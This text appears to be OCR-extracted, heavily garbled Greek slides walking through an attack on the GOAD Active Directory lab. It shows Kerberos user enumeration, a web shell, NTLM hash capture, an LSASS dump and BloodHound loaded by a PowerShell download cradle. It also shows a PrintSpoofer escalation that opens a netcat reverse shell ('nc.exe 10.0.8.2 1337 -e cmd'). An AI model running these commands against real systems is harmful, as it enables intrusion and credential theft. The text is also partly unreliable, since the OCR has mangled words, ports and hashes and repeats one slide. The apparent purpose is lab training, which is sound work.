Mot shown: 45513 filtered tocp ports (no-response)

FORT STATE SERVICE WVERSIOM

S3ftcp open domain Simple DWS Plus

BB/Mcp opean kerberos-sec Microsoft Windows Kerberos [server time: 2023-05-13 13:43:34)

135/tcp open msrpc Microsoft Windows RPC

139/tfcp open neftbios-ssn Microsoft Windows netbios-ssn

38%9/tcp open ldap mMicrosoft Windows Active Directory LDAP [Domdin: essoslocal, Site: Default-
First-Site-Hame)

445/tcp open microsoft-ds Windows Server 201 6 Standard Evaluation 143%3 microsoft-ds (workgroup: ES303) 2 a
48dftcp open kpasswd5s? -
5@3ftcp open ncacn_hitp Microsoft Windows RPC over HTTP 1.0 .
a36/tcp open silfldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-

First-Site-Name)

3268/fcp open |ldap mMicrosoft Windows Active Directory LDAP [Domdin: essoslocal, Site: Default-

First-Site-Hame)

326%Mtcp open sslfldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-

First-Site-Mame)

338 Mtcp open ms-wbt-server Microsoft Terminal Services

5985/tcp open hitp Microsaft HTTRAFI hitpd 2.0 [SS5DF/UPNP)

5%84f/tcp open sslifhitp Microsaft HTTPAFI hitpd 2.0 [SSDP/UPNP)

2387 tcp open mc-nmf MET Message Framing

47666 tcp open mspc Microsoft Windows RPC

49447 ficp open msrpc Microsoft Windows RPC

49669 ftcp open ncacn_hitp  Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC

49672 ffcp open msnpc Microsoft Windows EPC

49686 tcp open msrnpc Microsoft Windows EPC

55372ftcp open msrpc Microsoft Windows EPC

Service Info: Host: MEEREEN; OF: Windows; CPE: cpe/omicrosoftowindows



KvYkhog Cong enibeong oto GOAD- Apyikn
aAVOYVOPLoN

AmapiOunon ovéoparog ypnotn pe ypnion Kerberos:

nmap -T2 -p 88 --script=krb5-enum-users --script-args ="krb5
enum-users.realm ='north.sevenkingdoms.local’,
userdb=got_users.txt" 192.168.56.11

1 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-24 23:34 EEST

2 Nmap scan report for h92.168.56.11

3 Host is up (0.0032s latency).

4

5 PORT  STATE SERVICE

6 88/tcp open kerberos-sec

7 | krb5-enum-users:

8 | Discovered Kerberos principals
hodorgnorth.sevenkingdoms.local
jeor.mormontgnorth.sevenkingdoms.local
rickon.starkgnorth.sevenkingdoms.local
catelyn.starkgnorth.sevenkingdoms.local
samwell.tarlygnorth.sevenkingdoms.local
jon.snowgnorth.sevenkingdoms.local
sansa.starkgnorth.sevenkingdoms.local
robb.starkgnorth.sevenkingdoms.local
arya.starkgnorth.sevenkingdoms.local

19 Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
20



Kvkhioc Cong enibBeong oto GOAD-
Anuiovpyla EPEIGUATOG-APYLIKN
nopoPiacon-11S server

€= C @ O A 192.168.56.22

-2) Import bookmarks... Kali Linux 8 Kali Tools # KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Googl

iis apppool\defaultapppool

Command: !whoami | excute |

AvoliyeL TO OIKTVO Y10 EMITIOENEVOVS KUL GUVOIEETAL OTTO TOV VITOAOYIOTI-O0Vpa

= -[~/GOAD
—$ sudo g re/i share /home/chris/GOAD
[sudo] password for chris:

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Config file parsed

Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188
Callback added for UUID 6BFFD898-A112-3610-9833-46C3F87E345A
Config file parsed

Config file parsed

Config file parsed

Incoming connection (192.168.56.22,49706) The command completed successfully. ——
AUTHENTICATE_MESSAGE (NORTH\CASTELBLACK$,CASTELBLACK) sl 5

User CASTELBLACK\CASTELBLACK$ authenticated successfully Command' JnetE?.gx,)\10,082\,Shar,e ‘ ‘ﬂ—
CASTELBLACK$ :: NORTH: aaaaaaaaaaaaaaaa:d1935a8c9311f58a6ec53e¢ab3807892a:010100000000000000eb642d2b9ad9013865d46b83fa3e2
1000000000100100043007300560079005400440051004100030010004300730056007900540044005100410002001000430061006b00510078005900
59006c0004001000430061006b0051007800590059006c000700080000eb642d2b9ad9010600040002000000080030003000000000000000000000000
03000001bc0450bcelfe@3be68118d543005809e0c96a76dbd@5dece304b326df819d4b0a0010000000000000000000000000000000000009001a0063
00690066007300200310030002c003000200380020032000000000000000000

[*] Connecting Share(1:IPC$)

NetrShareEnum Level: 1

NetrServerGetInfo Level: 101

Disconnecting Share(1:IPC$)

Closing down connection (192.168.56.22,49706)

Remaining connections []

Vv:3
v:il.e

< C @ O A& 192.16856.22
3

-3) Import bookmarks... Kali Linux Kali Tools « KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB

* Ok ok ok Ok Ok k F Ok

*




Kvkioc Comg eniBeong oto GOAD-
Anuiovpyla EPEIGUATOG-APYLIKN
nopoPiacon-11S server

€= C @ O A 192.168.56.22

-2) Import bookmarks... Kali Linux 8 Kali Tools # KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Googl

iis apppool\defaultapppool

Command: !whoami | excute |

AvoliyeL TO OIKTVO Y10 EMITIOENEVOVS KUL GUVOIEETAL OTTO TOV VITOAOYIOTI-O0Vpa

= -[~/GOAD
—$ sudo g re/i share /home/chris/GOAD
[sudo] password for chris:

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Config file parsed

Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188
Callback added for UUID 6BFFD898-A112-3610-9833-46C3F87E345A
Config file parsed

Config file parsed

Config file parsed

Incoming connection (192.168.56.22,49706) The command completed successfully. ——
AUTHENTICATE_MESSAGE (NORTH\CASTELBLACK$,CASTELBLACK) sl 5

User CASTELBLACK\CASTELBLACK$ authenticated successfully Command' JnetE?.gx,)\10,082\,Shar,e ‘ ‘ﬂ—
CASTELBLACK$ :: NORTH: aaaaaaaaaaaaaaaa:d1935a8c9311f58a6ec53e¢ab3807892a:010100000000000000eb642d2b9ad9013865d46b83fa3e2
1000000000100100043007300560079005400440051004100030010004300730056007900540044005100410002001000430061006b00510078005900
59006c0004001000430061006b0051007800590059006c000700080000eb642d2b9ad9010600040002000000080030003000000000000000000000000
03000001bc0450bcelfe@3be68118d543005809e0c96a76dbd@5dece304b326df819d4b0a0010000000000000000000000000000000000009001a0063
00690066007300200310030002c003000200380020032000000000000000000

[*] Connecting Share(1:IPC$)

NetrShareEnum Level: 1

NetrServerGetInfo Level: 101

Disconnecting Share(1:IPC$)

Closing down connection (192.168.56.22,49706)

Remaining connections []

Vv:3
v:il.e

< C @ O A& 192.16856.22
3

-3) Import bookmarks... Kali Linux Kali Tools « KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB

* Ok ok ok Ok Ok k F Ok

*




Kvkioc Comg eniBeong oto GOAD-
Anuiovpyla EPEIGUATOG-APYLIKN
nopoPiacon-11S server

Epyoleio emmiOipevov og dikTvo, 6m®C Winpeas, printspoofer k.Am.

-3) Import bookmarks... Kali Linux #8 Kali Tools = KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google

Volume in drive X has no label. S
Volume Serial Number is ABCD-EFAA Command: ‘ | ]7excute|

Directory of X:\

05/24/2023 06:29
05/15/2023 ©3:59
06/06/2023 ©06:40
05/24/2023 01:31
06/06/2023 08:03
06/08/2023 10:19
05/24/2023 06:34
05/14/2023 ©1:20
05/24/2023 06:57
05/13/2023 06:52
05/13/2023 ©6:52
05/24/2023 01:37
05/15/2023 06:00
05/13/2023 03:35
05/24/2023 01:42
05/13/2023 06:52
05/24/2023 01:34
06/08/2023 10:12
05/24/2023 07:46
16/65/2022 06:02
06/06/2023 ©07:41
06/08/2023 10:19

7,168 shell-x64.exe
1,400 cmdasp.aspx
103 north.sevenkingdoms users.txt
1,001 got users.txt
<DIR> sprayhound
59,392 nc.exe
1,105,985 Invoke-SweetPotato.psl
3,836 shell.aspx
<DIR> Microsoft
15,725 full scan_goad.nmap
120,717 full scan_goad.xml
427 essos.local users.txt
62,548 winpeas.txt
8,159 pfSense-UDP4-1194-vpnuserl-config (2).ovpn
593 sevenkingdoms.local users.txt
5,600 full scan_goad.gnmap
683 north.sevenkingdoms.local users.nmap
1,259 Inveight.txt
347,648 JuicyPotato.exe
768,000 Inveigh.exe
1,271 khal.drogo.ccache
27,136 PrintSpoofer.exe
05/15/2023 05:26 35,946 winPEAS.bat
05/15/2023 03:53 1,181 cmd-asp-5.1.asp
22 File(s) 2,583,970 bytes
2 Dir(s) 0 bytes free

EEEE I EEIEIEEIEREIEEERRERE




Kvkioc Comg eniBeong oto GOAD-
Anuiovpyla EPEIGUATOG-APYLIKN
nopoPiacon-11S server

Tomkn KMpPAK®GON TPOVORI®V avIiypapo
X:\nc.exe C:\tmp\nc.exe rlwrap nc -lvnp 1337
X:\PrintSpoofer.exe -¢ "c:\tmp\nc.exe 10.0.8.2 1337 -e cmd"

= )~ [ ~/GOAD ]

~ i 1337

listening on [any] 1337

connect to [10.0.8.2] from (UNKNOWN) [192.168.56.22] 49780
Microsoft Windows [Version 10.0.17763.4377]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>]]




Kvkhioc Cong enibBeong oto GOAD-
EvykaBidpvon gpeicuatoc-KAipdkmon
TTPOVOUL®OV

Amoondote T pvijun Dump g owowkaciog LSASS Katev0ivvere To
Mimikatz otov KevTpKo VTOAOYIOTI].

PS Q:\> tasklist
tasklist

Image Name Session Name Session# Mem Usage

System Idle Process Services
System Services
Registry Services
SMSS.exe Services
CSrss.exe Services
wininit.exe Services
CSISS.exe Console
winlogon.exe Console
services.exe Services
lsass.exe Services
svchost.exe Services
fontdrvhost. Services
fontdrvhost. Console
svchost.exe Services
svchost.exe Services
svchost.exe Services
LogonUI.exe Console
dwm.exe Console
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Kvkioc Comg eniBeong oto GOAD-
EvykaBidpvon gpeicuatoc-KAipdkmon
TTPOVOUL®OV

net use Q: \\live.sysinternals\tools

PS Q:\> .\procdump64.exe -accepteula -ma 624 C:\tmp\lsass.dmp
.\procdump64.exe -accepteula -ma 624 C:\tmp\lsass.dmp

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards

Sysinternals - www.sysinternals.com

[12:46:46] Dump 1 initiated: C:\tmp\lsass.dmp

[12:46:46] Dump 1 writing: Estimated dump file size is 48 MB.
[12:46:46] Dump 1 complete: 49 MB written in 0.4 seconds
[12:46:46] Dump count reached.

net use Q: \\live.sysinternals\tools

EvollokTikd, ypnowpomomjete 1o share tov ypijetn System oto
emTi0<pevo pnyavnuo Kot katevdovvere to Mimikatz etov vmoloyiotiy
T0V BvpaTtoc.




Post Exploitation - Ecotepikn
avoyvopion: BloodHound

) > run

Using URL: http://10.0.8.2:8080/iAHAUIDWA
Loading BloodHound wit (new-object net.webclient).downloadstring('http://10.0.8.2:8080/iAHAUIDWA" )
Invoking BloodHound with: ke-BloodHound -OutputDirectory "C:\Windows\TEMP" -ZipFileName lpjlhjdap -MemCache -ZipPassword vtojnxsbccpkgfpylap
CLIXML
2023-06-09T1 s 6 00| INFORMATION| This version of SharpHound is compatible with the 4.2 Release of BloodHound
2023-06-09T11:43:45.433 7:00| INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets,

00| INFORMATION|Initializing SharpHound at 11:43 AM on 6/9/2023
00| INFORMATION| Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
00| INFORMATION|Beginning LDAP search for north.sevenkingdoms.local
00| INFORMATION | Producer has finished, closing LDAP channel
7:00| INFORMATION|LDAP channel closed, waiting for consumers
00| INFORMATION|Status: 0 objects finished (+0 0)/s — Using 79 MB RAM
00| INFORMATION | Consumers finished, closing output channel
:00| INFORMATION|Output channel closed, waiting for output task to complete

Closing writers

2023-06-09T1 127, :00| INFORMATION|Status: sing 86 MB RAM
00| INFORMATION| Enumeration finished in 00:00:42.14419
00| INFORMATION|Saving cache with stats: 71 ID to type mappings.

71 name to SID mappings.

1 machine sid mappings.

4 sid to domain mappings.

0 global catalog mappings.

2023-06-09T1 8.0414085-07: 00| INFORMATION | SharpHound Enumeration Completed at 11 23! Happy Graphing!

<0bjs Versio .1.0. ttp://schemas.microsoft.com/powershell fId="0"><TN RefId="0"><T>System.Management.Automation.PSCustom0
bject</T><T>Sy % 164 N="SourceId">1</164 paring modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI

>1¢/SR><SD> D></PR></MS></0bj><0bj S="progress 2 " < /164><PR N="Record"><AV>Preparing s for first
><AT>0</AT><Nil /><PI>1</PI><PC—1</PC><T>Completed</T><SR—1</SR><SD> </SD></PR></

[+] Downloaded C:\Windows\TEMP\20230609114427_lpjlhjdap.zip: /home/chris/.msf4/100t/2023 68.56.22_windows.ad.blood_106379.zip
[+] Zip password: vtojnxsbccpkgfpylgp

Server stopped.

Post module execution completed

post(

DOMAIN ADMINS@NORTHSEVENKINGDD
$-1-5-21-2294779534-532453541-35991

EDDARD.STARK@NORTH, iEVFNKINGDOMS LOCAL

ADM!N|STRATOR@NORTbiSEV[NKINGDOMS.LOCAL
CATELYN.STARK@NORTHSEVEN > /

VAGRANT@NORTH.SEVEN

CN=ENTERPRISE ADMINS,CN=USERS DC=SEVENKINGDOMS,

WINTERFELL. NORTH.SEVENKINGDOMS LOCAL

ROBB.STARK@NORTH.SEVENKINGDOMS.LOCAL
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